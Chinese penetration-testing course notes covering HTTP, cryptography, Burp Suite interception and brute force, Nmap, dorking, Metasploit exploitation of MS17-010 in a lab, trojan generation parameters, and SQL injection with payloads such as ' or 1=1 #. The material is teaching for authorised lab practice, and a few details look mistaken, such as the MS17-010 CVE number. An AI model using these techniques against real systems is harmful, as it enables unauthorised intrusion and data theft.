第一天
一、前提
1. 渗透测试
| 要点 | 内容 |
|---|---|
| 定义 | 获得授权后对系统进行的合法测试 |
| 与黑客的本质区别 | 是否有授权 |
| 三种方法 | 黑盒(仅给网址)/ 白盒(给全部源码)/ 灰盒(给部分信息) |
| 两个场景 | 预防性测试(发布前)/ 应急响应(被攻击后) |
⚠️ 法律红线:扫描未授权网站也违法;法律不看身份,只看是否造成实际损害。只观察不修改。
2. 信息安全三要素(CIA)
| 要素 | 含义 |
|---|---|
| 机密性 | 信息不泄露(加密是关键手段) |
| 完整性 | 数据不被篡改或丢失 |
| 可用性 | 服务可正常访问 |
3. 核心术语
| 术语 | 一句话理解 |
|---|---|
| 漏洞 | 源代码/设计的缺陷(墙上的裂缝) |
| 威胁 | 潜在的危险因素(找裂缝的人) |
| 攻击 | 利用漏洞的恶意行为 |
| POC | 验证漏洞是否存在的代码(“证明有个洞”) |
| EXP | 实际利用漏洞的代码(“钻洞搞事情”) |
| 后门 | 攻击者留的隐蔽访问入口(不走正门) |
| 反弹Shell | 让目标主机主动连接攻击者,绕过防火墙(出站连接拦截少) |
| 木马 | 表面无害暗藏恶意的程序(伪装者) |
| 蠕虫 | 自我复制传播的病毒(熊猫烧香) |
| 社会工程学 | 利用心理弱点诱骗(银狐木马、钓鱼) |
二、URL 与 DNS
1. URL 结构
协议://域名:端口/路径?参数=值&参数=值#锚点
| 部分 | 说明 |
|---|---|
| 协议 | http(普通快递)/ https(加密快递)/ ftp(货运车) |
| 域名 | 门牌号,DNS 转换为 IP |
| 端口 | 服务器的"门铃号码" |
| 路径 | 相对于服务器根目录,非绝对路径 |
| 参数 | ? 后,多个用 & 连接 |
| 锚点 | # 后,定位页面区块,不参与参数传递 |
2. 常见默认端口(记住)
| 端口 | 服务 |
|---|---|
| 80 | HTTP |
| 443 | HTTPS |
| 3306 | MySQL |
| 22 | SSH |
| 23 | Telnet |
| 53 | DNS |
⚠️ 端口没有绝对协议绑定关系,可以修改。改了端口访问时记得加端口号。
3. DNS 解析完整流程
浏览器缓存 → hosts文件 → 本地DNS服务器 → 根DNS(.) → 顶级DNS(.com) → 权威DNS
↑____________________________ 逐级返回结果 ____________________________↓
-
递归查询:客户端 → 本地DNS(全权委托,必须给最终答案)
-
迭代查询:本地DNS → 上级DNS(上级只指引下一级该问谁)
-
全球仅 13 台根服务器
4. 安全视角的路径知识
| 路径/文件 | 安全意义 |
|---|---|
/upload/ | 上传文件目录 |
/admin/ | 后台目录 |
/backup.zip | 备份文件(可能泄露敏感信息) |
/robots.txt | 爬虫协议,禁止访问的路径反而暴露真实目录结构 |
三、HTTP 协议
1. 请求报文结构
请求行:GET /index.html HTTP/1.1
请求头:键值对,冒号分隔
空行
请求体:POST 数据
2. 常见请求头
| 请求头 | 作用 |
|---|---|
| Host | 目标域名 |
| User-Agent | 浏览器"身份证",反爬虫依据 |
| Referer | 来源页面(注意拼写是 Referer) |
| Content-Type | 数据格式说明书 |
| Cookie | 会话标识 |
3. Content-Type 常见值
| 值 | 场景 |
|---|---|
application/json | JSON 接口 |
application/x-www-form-urlencoded | 普通表单 |
multipart/form-data | 文件上传 |
image/jpeg | 图片 |
🔑 文件上传漏洞:把 php 文件的 Content-Type 改成
image/jpeg可绕过服务器校验。
4. 响应报文与状态码
响应行:HTTP/1.1 200 OK
响应头:Content-Type / Set-Cookie
空行
响应体
| 首位 | 含义 | 常见 |
|---|---|---|
| 2xx | 成功 | 200 |
| 3xx | 重定向 | 301永久 / 302临时 |
| 4xx | 客户端错误 | 404找不到 / 403禁止 |
| 5xx | 服务器错误 | 500内部 / 502网关 |
遇到 500 先排查服务是否启动,不是代码写错。4xx 找前端,5xx 找后端。
5. GET vs POST
| 维度 | GET | POST |
|---|---|---|
| 参数位置 | URL 可见 | 请求体不可见 |
| 安全性 | 低 | 相对安全(抓包仍可见) |
| 长度 | 有限制 | 无严格限制 |
| 幂等性 | ✅ 幂等 | ❌ 非幂等 |
| 场景 | 查询数据 | 提交敏感/大量数据 |
没有绝对安全的传输方式,POST 只是相对隐蔽。
6. Cookie / Session / Token
登录 → 服务器建 Session + 生成 Session ID
→ Set-Cookie 发给浏览器
→ 后续请求自动携带 Cookie
→ 服务器校验 Session ID 是否存在、是否过期
| 机制 | 存储位置 | 验证方式 |
|---|---|---|
| Cookie | 浏览器端 | 自动携带 |
| Session | 服务器端 | 查存储 |
| Token | 不存储 | 算法实时验证(公私钥加密) |
⚠️ 别人拿到你的 Cookie 可冒充身份登录。
第二天
一、加密基础
1. 明文 vs 密文
-
明文:原始可读信息(admin、password)
-
密文:算法处理后的乱码
2. 编码 vs 加密 vs 哈希 vs 压缩
| 概念 | 是否有密钥 | 是否可逆 | 用途 |
|---|---|---|---|
| 编码 | ❌ | ✅ | 格式转换(Base64、URL编码) |
| 加密 | ✅ | ✅ | 机密性保护 |
| 哈希 | ❌ | ❌ 单向 | 完整性校验、密码存储 |
| 压缩 | ❌ | ✅ | 省空间、快传输 |
-
哈希特性:雪崩效应(改一个字符结果完全不同)、固定长度输出
-
编码≠加密:编码是公开规则,加密需要密钥
3. 加密要素
加密 = 算法 + 密钥
算法:转换规则(如字母移位)
密钥:算法的具体参数(如移2位)
4. 对称加密
| 特点 | 内容 |
|---|---|
| 定义 | 加解密用同一把密钥 |
| 优点 | 简单高效 |
| 缺点 | 密钥分发问题——怎么安全传密钥?(死循环) |
5. 非对称加密(公钥加密体系)
公钥:可以公开给所有人
私钥:必须严格保密
两句口诀:
公钥加密保内容,私钥加密保身份
| 用途 | 加密用 | 解密用 |
|---|---|---|
| 保密通信 | 对方公钥 | 自己私钥 |
| 数字签名 | 自己私钥 | 对方公钥 |
HTTPS 实际运用:非对称加密安全传递对称密钥 → 后续数据用对称加密(快)。
6. 中间人攻击(MITM)
中间人同时欺骗双方:
对 A 假装是 B,对 B 假装是 A
→ 伪造公钥 → 窃听/篡改
本质:缺乏身份验证,无法确认公钥归属。 解决:数字证书 + CA 机构。
7. 数字证书与 CA
网站向 CA 申请 → CA 验证域名所有权
→ CA 用私钥对网站公钥签名 → 生成证书
→ 用户用 CA 公钥验证签名
-
证书不可伪造(没有 CA 私钥)
-
证书不可篡改(篡改后验签失败)
-
结构:根CA → 中间CA → 网站证书
8. HTTPS 完整通信流程(5步)
① DNS 解析
② TCP 三次握手(SYN → SYN+ACK → ACK)
③ TLS 握手:Client Hello → Server Hello + 证书 → 客户端验证证书 → 密钥交换 → 双方各自算出相同对称密钥
④ 加密数据传输
⑤ TCP 四次挥手
密钥协商关键:双方不直接传递密钥,通过算法+随机数各自独立计算出相同密钥。
二、HTTPS 抓包配置
1.Burp Suite 抓取 HTTPS
为什么抓不到?
浏览器校验证书 → 未安装 Burp 证书 → 拒绝连接
解决步骤:
① 用 http://burpsuite 下载证书(注意是 http 不是 https)
② 火狐:设置 → 高级 → 管理证书 → 颁发机构 → 导入
③ 选择"受信任的位置"
④ 🔄 重启浏览器(必须!)
⑤ 验证:访问百度 → 页面转圈 → 拦截到 https:// 请求 ✅
失败处理:系统级导入
搜索"管理用户证书"→ 受信任的根证书颁发机构 → 右键导入
原理:Burp 冒充服务器与浏览器建立 HTTPS(用 Burp 证书),再与真实服务器建立 HTTPS(用真实证书),中间解密→修改→重新加密转发。
三、环境搭建
1. phpStudy
| 要点 | 内容 |
|---|---|
| 作用 | 集成环境面板,一键搭建本地服务器 |
| 核心优势 | 一键切换 PHP 版本 |
| 根目录 | 安装目录下的 www 文件夹 |
| 中间件 | Apache / Nginx 只能启动一个(80端口冲突) |
| 验证 | 浏览器访问 127.0.0.1 → 看到欢迎页面 ✅ |
2. 端口冲突解决
| 场景 | 解决 |
|---|---|
| 80 端口被占用 | 修改 Apache 端口为 81 |
| MySQL 3306 被占用 | 修改为 3307 |
| 改端口后 | 访问加端口号(localhost:81) |
3. DVWA 靶场搭建
① 从 GitHub 下载 DVWA 源码
② 放入 phpStudy 的 www 目录
③ 重命名为小写 dvwa
④ 复制 config/config.inc.php.dist → config/config.inc.php
⑤ 修改数据库配置:127.0.0.1 / root / 密码 / 3306
⑥ 访问 http://localhost/dvwa/login.php → setup.php → Create/Reset Database
⑦ 登录:admin / password
⚠️ 访问必须带
http://协议头,否则被当成搜索内容。
4. VMware + Ubuntu
安装前:❗关闭防火墙和杀毒软件
验证成功:检查 vmnet1 和 vmnet8 虚拟网卡
创建虚拟机关键点:
类型:新手选"典型"
系统:Ubuntu 64位(别选 Redhat)
位置:新建文件夹,避免 C 盘
磁盘:60G(不会立即占满)
镜像:下载好的 Ubuntu ISO
版本推荐:22.04 LTS / 24.04 LTS(26 太新不推荐)
鼠标丢失:Ctrl+Alt 找回
为什么推荐 Ubuntu:可快速切换 PHP 版本,适合多漏洞复现(红帽需反复卸载安装)。
5. 数据库连接排查
① MySQL 服务是否启动?
② 端口是否被占用?(netstat)
③ 配置文件用户名/密码是否正确?
④ 配置文件端口是否匹配?
⑤ 弱密码(root/123456)是渗透测试常见突破口
第三天
一、Windows 基础环境
1. PHPStudy 启动问题
- 根本原因:之前安装过 MongoDB 等数据库导致参数冲突
- 排查:查看日志定位报错参数(系统反复报错某个参数,不是真启动失败)
- 解决:① 卸载冲突数据库 ② 用 cloud 环境规避本地冲突
2. 管理员权限
- Windows 中以管理员身份运行程序至关重要
- 用管理员权限的 PowerShell 才能执行 open code 等命令(涉及注册表修改)
- 案例:有人和 Claude AI 纠缠 2 个月的问题,本质是权限问题
3. MySQL 服务启动失败
- 主因:参数格式错误(非标准
--参数格式),比端口冲突更隐蔽 - 注意:不要轻信免费 AI 诊断,推荐用 GLM 模型,结构化提问
4. MySQL 环境混乱
- 多版本 MySQL(5.7/8.0)+ MongoDB 共存 → 端口冲突
- 建议:保留一个主要版本,卸载冗余软件
二、DVWA 环境搭建
1. 初始化流程
访问 http://localhost/dvwa/login.php
→ setup.php 页面 → 点击 “Create/Reset Database”
2. 报错关键点
- 报错不是 MySQL 版本低的问题(升级到 8.0.12 仍报错)
- DVWA 官方推荐 MongoDB,不是 MySQL —— 报错根源
- “is not” 类语法报错 = 语句不兼容(MongoDB 语法用在 MySQL)
3. 修改配置原则
- 不建议系统自动修改,手动修改更安全
- 先备份原文件(config.inc.php.dist)
三、Ubuntu 系统基础
1. Ubuntu 登录
- 与红帽不同:Ubuntu 默认不设 root 密码
- 用安装时创建的普通用户登录
2. 设置 root 密码
sudo passwd root # 必须提权
3. 远程连接工具
① 新建主机连接 → ② 输入IP(192.168.50.158)→ ③ SSH 22端口 → ④ root/密码
四、SSH 远程连接与排查
1. 连接失败排查两步走
① ping 测试网络连通性(虚拟机 ↔ 网关)
② systemctl status sshd 检查服务是否开启
比喻:有钥匙(账号密码)但门锁没安装(服务未开启)也进不去
2. 服务安装与启动
apt update # 需先 su root 切换(普通用户权限不足)
apt install ssh # 安装SSH
- 装完默认 sshd 不启动,需排查:防火墙 → SELinux → 端口占用
3. 防火墙(对比记忆)
| Ubuntu | 红帽 |
|---|---|
ufw | firewalld |
systemctl disable ufw | systemctl disable firewalld |
4. SELinux
setenforce 0 # 宽松模式(命令缺失时先按提示安装工具)
5. 允许 root 远程登录(必考操作)
vim /etc/ssh/sshd_config
# 找到 PermitRootLogin(注意P大写)
# no → yes
:wq
systemctl restart sshd # 必须重启才生效!
6. 最小化安装
- U盘库属于最小化安装,很多组件需手动补全
- 粘贴功能受限时改用 OpenSSH 优先建立连接
五、文件传输与解压缩
1. 传输方式
- U盘 或 sftp:
sftp [email protected] - 文件放 /opt 等清晰路径
2. tar 解压(参数易错)
tar -xzvf 文件.tar.gz # gzip(-z)
tar -xjvf 文件.tar.bz2 # bzip2(-j)
tar -xvf 文件.tar # 无压缩
unzip 文件.zip
- 建议显式指定参数,系统自动识别不靠谱
-G(大写gzip旧版)vs-g(小写旧格式)容易混淆
六、Nginx 源码安装
1. 三步流程
./configure # 检查环境、依赖(--prefix 自定义路径)
make # 编译
make install # 安装到 /usr/local/nginx
2. 准备工作
tar -xvf nginx.tar.gz
apt install gcc make wget # 编译工具
3. 依赖处理
- 缺 pcre 库:
apt install pcre*(不确定版本就通配) - 报错复制内容直接搜索最快
- 依赖必须装全再编译
4. 验证安装
cd /usr/local/nginx/sbin
./nginx
curl 127.0.0.1 # 看到 "thank you for using nginx" 即成功
5. 重载配置
/usr/local/nginx/sbin/nginx -s reload
- 源码安装没有 systemd 服务,不能 systemctl,必须手动到 sbin 目录
七、PHP 环境与 PHP-FPM
1. Nginx 不能解析 PHP
- 遇到 .php 直接返回源码(浏览器变成下载)→ 需交给 php-fpm
- 原理:Nginx → fastcgi_pass 127.0.0.1:9000 → php-fpm
2. 配置关键点
- 监听地址:
listen = 127.0.0.1:9000,改完必须 restart - 注释符号:用
;分号,不是#井号(易错点) - 检查端口:
ss -antulp | grep 9000
3. 查找配置文件
grep -rn "fastcgi_pass" /etc/
-n显示行号;搜索内容放命令最后;范围太大时缩小到具体目录
4. Vim 批量操作
:set nu " 显示行号
:65,71s/#//g " 批量删除65-71行的#号
5. FastCGI 路径修正
$document_root$fastcgi_script_name # 关键配置
6. 验证 PHP 解析
- 建 test.php → 浏览器访问:正常显示=成功;出现下载提示=未联通
7. 多版本 PHP
- 用完整服务名:
systemctl status php8.5-fpm - 版本切换:
update-alternatives --config php - 旧版本需手动添加特殊源(如 ppa:ondrej/php)
八、MariaDB 数据库
1. 安装与启动
apt install mariadb-server mariadb-client
systemctl status mariadb # active = 运行中
mariadb # 初始 root 无密码,直接进
2. 设置 root 密码
ALTER USER 'root'@'localhost' IDENTIFIED BY 'openweb123';
FLUSH PRIVILEGES; -- 必须刷新才生效!
3. 反向验证密码(重点技巧)
① 重启 mariadb
② 切回普通用户
③ 用错误密码登录 → 被拒 = 密码生效 ✅
④ 正确密码登录验证
4. root 特性
- root 输错密码也能登录是设计特性,普通用户必须严格验证
- 生产环境不用 root 连库,遵循最小权限原则
九、权限问题
1. 403 错误
- 文件权限不足 →
chmod - 属主不匹配:nginx 跑 nobody、php 跑 www-data
ps -aux | grep nginx # 查看运行用户
chown www-data:www-data 文件
chmod 777 文件 # 临时测试
2. 500 错误 → 服务端配置问题
3. 文件上传失败
- 普通用户 SSH 登录后即使 su root 也传不上 /opt —— 会话初始用户决定传输权限
十、DVWA 部署全流程
① 移动目录
mv DVWA-master /usr/local/nginx/html/dvwa
② 复制配置文件
cd dvwa/config
cp config.inc.php.dist config.inc.php
③ 编辑配置(改数据库密码)
vim config.inc.php
④ 访问 setup.php → Create/Reset Database
! 访问失败先排查:文件权限 + 属主 + 数据库是否存在
- 代码连接 “dvwa” 数据库但不存在 → 必须先跑 setup.php 初始化
十一、Docker
1. 核心价值
- 解决"在我机器能跑,你机器报错"的环境差异
- 镜像 = 打包好的环境"盒子"
2. 基础命令
docker pull 镜像名 # 拉取(Docker Hub 中央仓库)
docker images # 查看本地镜像
docker run 镜像名 # 运行
3. 国内拉取镜像
- 官方源大概率失败 → 配置国内镜像加速器(阿里云等 daemon.json)
- 或 VPN:单独给 Docker 配代理 / 系统级代理(改 ~/.bashrc)
4. 渗透测试定位
- 不用深入底层原理,掌握基本命令能拉能用即可
- 普通用户运行 Docker 会创建无根容器
十二、网络配置与排错
| 问题 | 要点 |
|---|---|
| NAT 模式 | 虚拟机 IP 必须和主机 VMnet8 同网段(192.168.x.x) |
| DNS 错误 | 127.0.0.1 会导致 apt update 失败;用 8.8.8.8 / 114.114.114.114 |
| 桥接模式 | 手机热点作网络源需特殊设置 |
| 系统快照 | 操作前先建快照,出错快速恢复 |
| 排错顺序 | 确认初始状态 → DNS → 对比不同设备表现 |
| 密码管理 | 不同系统密码分开管理;root 初始无密码 |
| sudo su root | 普通用户切 root 用 sudo su root + 当前用户密码 |
第四天
一、靶场环境搭建(DVWA + PHPStudy)
1. 环境要求
- DVWA:专门用于网络安全学习的集成靶场,包含多种 Web 漏洞
- 漏洞等级:Low → Medium → High → Impossible(等级越高防御越强)
- 初始化:访问
setup.php→ 配置完成 → 用admin登录 - 数据库要求:MySQL 8.0 以上版本
2. MySQL 版本不兼容的两种解决方式
方案一:替换组件
- 官网下载 Windows 高版本 MySQL 压缩包 → 替换 PHPStudy 中的 MySQL 目录 → 重新配置环境变量
方案二:修改 SQL 语句
- 复制报错信息 → 向技术支持求助(说明是基于 PHPStudy 搭建的 DVWA)
- 或直接编辑 DVWA 安装目录
database/文件夹下的dvwa.sql、setup.sql
3. 数据库查看(phpMyAdmin)
- phpStudy 软件管理中为 DVWA 安装 phpMyAdmin → 通过
IP:端口访问 - 输入 MySQL 用户名密码 → 图形化查看表结构和数据
二、远程连接与服务管理
1. SSH 远程连接流程
- 点击 SSH → 添加服务器
- 输入目标 IP 地址(不能输错)、连接名称、用户名、密码
- 测试连接进入服务器界面
- 支持路径跟踪、文件拖拽上传、编辑修改密码
2. 常用端口命令
| 命令 | 用途 |
|---|---|
ss -antpl | grep 9000 | 查看 php-fpm 是否运行 |
netstat | 基础端口查询 |
lsof -i:80 | 检查 nginx 80 端口 |
- 源码安装的服务需手动到安装路径启动二进制文件
- 不同工具查端口可能显示差异,建议交叉验证
3. 常用端口对照
| 端口 | 服务 |
|---|---|
| 22 | SSH |
| 53 | DNS |
| 80 | HTTP |
| 3306 | MySQL |
| 443 | HTTPS |
三、Burp Suite 核心功能
1. 代理抓包
- 127.0.0.1 抓不到包(回环流量不经过网卡)
- 必须使用本机真实 IP(如 WiFi 分配的 10.100.38.215)
2. 请求拦截与修改
- 拦截登录请求 → 定位关键参数(如密码字段)→ 修改数据
- 操作:放行(Forward 原样转发)/ 丢弃(Drop 拒绝)
- 可绕过前端验证,直接测试服务器端响应
3. Repeater(重放器)
- 右键抓到的包 → Send to Repeater
- 可独立工作、不依赖原页面,反复修改请求并查看响应报文
- 响应报文可能默认折叠,需手动展开
4. Intruder(暴力破解模块)四种模式
| 模式 | 说明 | 适用场景 |
|---|---|---|
| Sniper 狙击手 | 单点测试,逐行读取字典 | 已知用户名爆破密码(最常用) |
| Battering Ram 攻击锤 | 同一字典同时填充多个参数 | 相同值填入多位置 |
| Pitchfork 音叉 | 多字典按序号对应赋值 | 多个参数按行配对 |
| Cluster Bomb 集束炸弹 | 全排列组合 | 参数关系不确定 |
5. 破解结果判断
- 大多数错误密码响应长度相同(如 4772),出现异常长度(如 4815)的值 → 很可能是正确密码
四、暴力破解与密码字典
1. 暴力破解两种方式
| 方式 | 说明 | 特点 |
|---|---|---|
| 单账号多次尝试 | 对同一账号试大量密码 | 容易被检测、触发预警 |
| 字典攻击(密码喷洒) | 大量用户名 × 每账号一次预设密码 | 更难被发现 |
2. 学校系统初始密码风险
- 学号公开(公示名单未脱敏)+ 初始密码简单(123456)+ 学生不改密码 → 安全隐患
3. Crunch 字典生成工具
crunch [最小长度] [最大长度] [模式] -o [输出文件]
crunch 4 4 % -o digit4.txt # 生成4位数字字典
- 占位符:
@= 小写字母,%= 数字 - 也可以直接从 GitHub 等平台下载现成字典
4. 数据库查询账户
mysql -u root -p
use dvwa;
show tables;
select * from users;
- 注意 DVWA 中除默认账户外还有隐藏账户,需仔细排查
五、信息收集
1. 收集内容(六大方向)
- 子域名:挖掘三级子域名
- 开放端口:扫描端口及服务
- 域名注册信息:WHOIS(公司名、注册地、邮箱)
- 备案信息:节点、联系人、服务商
- 同 IP 其他服务:一个服务器通常托管多个网站
- 搜索引擎:Google Hack 语法找敏感信息
2. 子域名枚举
- 主站防护严密,子域名往往是突破口(废弃测试页缺乏维护)
- 原理:字典爆破常见前缀(www、mail、lawyer 等),能访问通 = 子域名存在
- 工具:L2 子域名挖掘机、OneForAll(需 API)、Python 脚本
- 注意:须在授权范围内操作,枚举消耗大量系统资源(可尝试 16 万次组合)
3. CDN 检测(超级 Ping)
- 从全球多地 ping 目标域名:
- 返回多个 IP → 启用了 CDN
- 返回单一 IP → 未用 CDN,该 IP 为真实服务器地址
4. DNS 记录类型
| 记录 | 说明 |
|---|---|
| A | IPv4 地址 |
| AAAA | IPv6 地址 |
| NS | 域名服务器 |
whois命令 / 站长之家:查域名所有者、注册商、注册时间、备案信息- 一个 IP 常托管多个网站,可通过 IP 反查同服务器其他服务
5. Google 高级搜索语法
| 语法 | 作用 | 示例 |
|---|---|---|
site: | 限定域名 | site:peihua.cn |
filetype: | 限定文件类型 | filetype:pdf |
"关键词" | 精确匹配 | "学号" |
-关键词 | 排除 | 学号 -身份证 |
before: / after: | 日期筛选 | after:2026 |
核心规则:
- 运算符后不能有空格(
site:域名✓,site: 域名✗) - 空格分隔的关键词是"与"关系
- 双引号精确匹配;减号排除;运算符可组合使用
6. 黑暗搜索引擎
- 钟馗之眼、撒旦(Shodan)、Fofa:可搜索公网暴露设备、摄像头等
- 注意隐私和法律问题
六、目录扫描与端口扫描
1. 目录扫描
- 原理:枚举拼接路径 → 200 存在 / 404 不存在
- 工具:Gobuster、dirb、Kali 自带工具
- 常用参数:
-x:指定后缀(.php,.sql,.conf)-O:结果输出到文件-Z:设置请求间隔(防检测)
- 字典:
big.txt全面覆盖、small.txt快速测试
2. C 段扫描
- 同一 C 段:
192.168.50.0/24(注意用 0 不是 1) - 流程:探测存活主机 → 检查开放端口 → 识别服务
- 先指定常用端口(80、3306)可大幅提升效率;扫全端口(0-65535)速度显著下降
七、Nmap 详解
1. 语法结构
nmap [扫描类型] [选项参数] [扫描目标]
2. 参数速查表
| 参数 | 说明 | 特点 |
|---|---|---|
-sS | TCP SYN 半连接扫描 | 只完成三次握手前两步,快、隐蔽 |
-sT | TCP 全连接扫描 | 完整三次握手,准但易被发现 |
-sU | UDP 扫描 | 针对无连接协议 |
-sV | 服务版本探测 | 显示服务类型和版本号 |
-sn | 仅主机发现 | 不扫端口,快速确认在线主机 |
-sL | 列表扫描 | 只检查主机存活 |
-p- | 全端口扫描 | 1-65535 |
-p 22,80 | 指定端口 | 精准扫描 |
-T0~T5 | 速度控制 | 越慢越准,越快可能漏检 |
3. SYN 扫描原理(三次握手)
正常握手:SYN → SYN-ACK → ACK(完成连接)
SYN扫描:SYN → SYN-ACK → RST(收到响应即判定开放,直接断开)
4. 实操示例
nmap 192.168.50.158 # 常见端口
nmap -sV 192.168.50.158 # 服务版本(如 Apache 2.4.39 win64)
nmap -sn 192.168.50.0/24 # 网段主机发现
nmap -p 80,3306 192.168.50.1-160 # 多 IP 指定端口
八、渗透测试实战流程
Step 1:信息收集
- 子域名枚举 → 找隐藏入口
- Nmap 端口扫描 → 确认服务
- 目录扫描 → 找应用路径
Step 2:访问目标
http://IP地址/dvwa
Step 3:初始化与登录
setup.php初始化 →admin登录
Step 4:暴力破解
- 打开 DVWA 暴力破解模块 → Burp 抓包 → 发到 Intruder → 加载字典 → 开始爆破
Step 5:分析结果
- 按响应长度排序,异常长度值即为正确密码
九、调试与模式切换(Plan / Build)
| 模式 | 作用 | 权限 |
|---|---|---|
| Plan 计划模式 | 预检查、审查修改方案 | 无执行权限(默认) |
| Build 执行模式 | 直接执行修改 | 需权限确认(Tab 切换) |
操作规范:
- 先切 Plan 模式预检查,别直接执行
- 审查系统推荐方案 → 人工复核修改计划
- 再切 Build 模式执行(权限确认必须选"允许")
- 权限不足不要强行操作
- 直接执行可能破坏原有正常功能
十、其他要点
1. 信息安全意识
- 个人信息泄露普遍:公开 PDF 未脱敏、闲鱼卖快递信息、社工库(纸飞机签到查询)
- 防范:改初始密码、不点不明链接、不装可疑软件
2. 接码平台
- 国内手机号收不到 Telegram 等验证码 → 需接码平台(如 0.2 美元租 15 分钟)
- 高敏感词(ChatGPT)在闲鱼等平台易导致封号
3. Open Code 会话恢复
open code -L # 查看历史会话列表
open code -S [session_id] # 恢复指定会话
4. 渗透测试注意事项
- 必须在合法授权范围内操作
- 不要集中扫描公共网站(如百度)
- 高频测试容易触发系统防护
- 代理配置和网络环境会影响测试结果
附:核心命令速查
端口检查
ss -antpl | grep 9000
lsof -i:80
信息收集
nslookup 域名 # A 记录查询
whois 域名 # 域名注册信息
nmap -sn 192.168.50.0/24
目录扫描
gobuster dir -u http://目标IP/dvwa -w big.txt -x .php,.conf
字典生成
crunch 4 4 % -o 4digit.txt
数据库
mysql -u root -p
select * from users;
第五天
一、环境搭建与靶场部署
1.靶场环境
| 靶场 | 用途 | 部署方式 |
|---|---|---|
| SQL Lab(SQL注入靶场) | SQL注入练习 | 文件放到 LNMP 环境的 html 目录下(类似 DVWA 部署) |
| Win7 系统 | 永恒之蓝漏洞演示 | 安装 Win7 虚拟机(可选) |
2. Nginx 要点
| 操作 | 命令/说明 | |
|---|---|---|
| 启动 | 进入 sbin 目录执行 ./nginx | |
| 检查 | `ss -antulp \ | grep 80`,80端口监听即正常 |
| 重启 | 修改配置后必须 ./nginx -s reload | |
| 部署路径 | 靶场文件放 html 目录,误传 /opt 会无法访问 | |
| index.php | Nginx 默认不识别,需在配置中添加 index.php |
3. 文件部署技巧
unzip解压后目录名过长会导致 URL 冗长(http://IP/很长的目录名/login.php)- 用
mv重命名目录缩短路径 - SQL Lab 部署需找到核心配置文件(
sql_link_connect_connections)修改数据库连接信息
4. phpStudy(小皮面板)
-
方便切换 PHP 版本;默认账号密码
root/root -
保存配置后必须重启 phpstudy 服务
-
注意实时检查当前数据库和 PHP 版本是否匹配
5. 虚拟机间文件传输
方案一:宿主机中转(效率低)
方案二:临时 HTTP 服务(推荐)
python -m http.server 8080
- Win7 通过浏览器访问
http://[攻击机IP]:8080下载 - 建议建共享文件夹限制可见范围
- 注意区分:木马监听端口 ≠ HTTP 传输端口
二、Linux 服务管理
1. systemctl 管理机制
systemctl能管理某服务的前提:存在对应的.service文件- 系统自带服务的
.service文件在/lib/systemd/system/目录(如 ssh.service) - 源码安装的 nginx 默认没有 service 文件,需手动编写
2. find 命令
find [路径] -type f -name "*.service"
-type f:普通文件;-name:按文件名匹配,支持*通配符- 可配合管道筛选:
find / -type f -name "*.service" | grep ssh
三、Metasploit Framework(MSF)
1. 核心概念
- MSF 是功能全面的渗透测试集成工具(“黑客工具大礼包”/瑞士军刀)
- 分为 7 大模块:辅助(auxiliary)、漏洞利用(exploit)、payload、编码器(encoder)、后渗透(post)、NOP、规避
- 进入控制台看到
msf提示符即成功;首次启动加载慢属正常
2. 常用命令
| 命令 | 作用 | 示例 |
|---|---|---|
search [关键词] | 搜索模块 | search ms17-010 |
use [编号] | 选择模块 | use 0 |
show options | 查看参数 | 标 Yes 且为空的必填 |
set [参数] [值] | 设置参数 | set RHOSTS 192.168.50.160 |
run / exploit | 执行模块 | 启动扫描/攻击 |
search -f [关键词] | post 模块搜索 | search -f checkvm |
关键参数:RHOSTS(目标IP)、LHOST(攻击机IP)、LPORT(监听端口)、THREADS(线程数)
3. 永恒之蓝(MS17-010)复现
背景:
- 漏洞编号 MS17-010(CVE-2014-0144),针对 SMB 协议特定旧版本
- 成因:SMB 栈溢出过多,系统执行恶意命令
- 永恒之黑(CVE-2020-0796)需特定 Win10 版本
完整流程:
msfconsole
search ms17-010 # 找扫描模块
use 0 # 选择辅助模块
set RHOSTS 192.168.50.160
run # 扫描确认漏洞存在
back
search ms17-010 # 找利用模块
use [编号] # 选 exploit 模块
set RHOSTS 192.168.50.160
run # 获取 shell
验证控制权:进入目标后执行 ipconfig;可在目标 C 盘创建文件验证
注意:
- 扫描只是验证漏洞存在性,真正利用要再查攻击模块
- 版本信息决定漏洞存在可能性
4. 后渗透(Post)
- 前提:已获取目标权限
- 常用工具:
check_vm(检测虚拟机)、app 扫描(查已装应用)、截图(默认存 root 目录)、键盘记录 - 渗透流程:信息收集 → 漏洞扫描 → 漏洞利用 → 获取权限 → 后渗透
5. 生成木马
反向连接(反弹 shell)更隐蔽:目标机主动回连攻击机,出站流量不易被拦截
关键参数:
-T:连接方式(正向/反向)LHOST:木马回连的攻击机 IPLPORT:回连端口-F:生成.exe文件
监听注意:payload 类型必须与生成时一致;LHOST/LPORT 要匹配
弱点:MSF 流量特征明显,易被杀软识别;自带编码器不能真正免杀
四、SQL 注入
1. 原理
- 本质:用户输入被直接拼接到 SQL 语句执行,攻击者构造恶意输入篡改 SQL 逻辑
- 经典注入
' or 1=1 #:
原语句:
SELECT * FROM users WHERE id='[输入]'
注入后:
SELECT * FROM users WHERE id='' or 1=1 #'
单引号闭合原条件 → or 1=1 恒真 → # 注释掉后续 → 返回全部数据
- 用户输入应被当作数据而非代码执行
2. 数据库基础
结构:数据库 → 数据表(users、emails…)→ 字段(id、username、password)
连接:
mysql -u root -p # 进入 mysql> 环境
常用命令(必须以英文分号结尾):
| 命令 | 作用 |
|---|---|
show databases; | 查看所有数据库 |
use security; | 切换数据库 |
show tables; | 查看所有表 |
SELECT * FROM users; | 查询全部 |
SELECT username FROM users WHERE id=3; | 条件查询 |
SELECT * FROM users ORDER BY 2; | 按第2列排序 |
要点:
- SQL 关键字大小写不敏感;字符串值要加引号;列名写错会报错
- 注释符:
#(MySQL)和--(标准,后必须加空格)
3. 逻辑运算符
| 运算符 | 含义 | 示例 |
|---|---|---|
OR | 任一满足 | WHERE id=1 OR id=2 |
AND | 同时满足 | WHERE id=1 AND username='admin' |
NOT | 取反 | WHERE NOT username='admin' |
4. UNION 联合查询(注入核心技巧)
要求:前后两个 SELECT 列数必须一致
判断列数:
-- ORDER BY 试探:3 正常、4 报错 → 3列
SELECT * FROM users ORDER BY 3; -- 正常
SELECT * FROM users ORDER BY 4; -- 报错
-- UNION SELECT 试探
SELECT * FROM users UNION SELECT 1,2,3; -- 正常即3列
列数不一致处理:用固定值补足
-- users 3列、emails 2列
SELECT * FROM users UNION SELECT 1, email FROM emails;
五、PHP 与数据库配置排查
1. 端口问题
- MySQL 默认 3306 可能被改成 3307/3308,需在配置中修改为
localhost:3307 - 排查:先查 MySQL 实际端口 → 核对 PHP 配置端口 → 确认服务运行
